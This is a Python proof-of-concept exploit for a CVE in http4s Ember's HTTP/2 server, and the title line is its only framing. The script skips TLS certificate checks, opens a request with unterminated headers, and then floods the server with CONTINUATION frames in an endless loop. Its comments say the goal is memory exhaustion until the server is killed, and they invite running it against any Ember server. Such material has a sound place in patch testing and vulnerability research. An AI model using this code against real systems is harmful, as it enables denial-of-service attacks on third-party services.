CVE-2026-69218: http4s Ember HTTP/2 Unbounded CONTINUATION Frame Memory Exhaustion

#!/usr/bin/env python3
# CVE-2026-69218 - http4s Ember CONTINUATION flood PoC
# Sends one HEADERS frame (END_HEADERS=0) then loops CONTINUATION frames
# with END_HEADERS=0, filling the server's header-block accumulation buffer.
# Run against any h2 Ember server: python3 poc.py <host> <port>

import socket, ssl, struct, sys

CLIENT_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

def frame(ftype, flags, stream_id, payload):
    length = len(payload)
    return struct.pack(">I", length)[1:] + bytes([ftype, flags]) + struct.pack(">I", stream_id) + payload

# SETTINGS frame (type=0x4, flags=0, stream=0) - empty, just open the connection
SETTINGS = frame(0x4, 0x0, 0, b"")

# Minimal HPACK block for GET / HTTP/2 (partial, no END_HEADERS)
HPACK_PARTIAL = bytes([
    0x82,  # :method: GET  (indexed)
    0x84,  # :path: /      (indexed)
    0x86,  # :scheme: https (indexed)
])

# HEADERS frame, stream 1, flags=0x00 (END_HEADERS NOT set)
HEADERS = frame(0x1, 0x00, 1, HPACK_PARTIAL)

# CONTINUATION frame payload: 16 KB of junk header data per frame
# type=0x9, flags=0x00 (END_HEADERS NOT set -> Ember keeps buffering)
CONT_PAYLOAD = b"\x00" * 16384
CONT = frame(0x9, 0x00, 1, CONT_PAYLOAD)

host, port = sys.argv[1], int(sys.argv[2])

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(["h2"])

with socket.create_connection((host, port)) as raw:
    with ctx.wrap_socket(raw, server_hostname=host) as conn:
        conn.sendall(CLIENT_PREFACE + SETTINGS + HEADERS)
        print("[*] Sent HEADERS with END_HEADERS=0, flooding CONTINUATION frames...")
        # Keep sending until OOM kills the server or connection drops
        sent = 0
        while True:
            conn.sendall(CONT)
            sent += len(CONT_PAYLOAD)
            if sent % (1024 * 1024) == 0:
                print(f"[*] Sent {sent // 1024 // 1024} MB so far")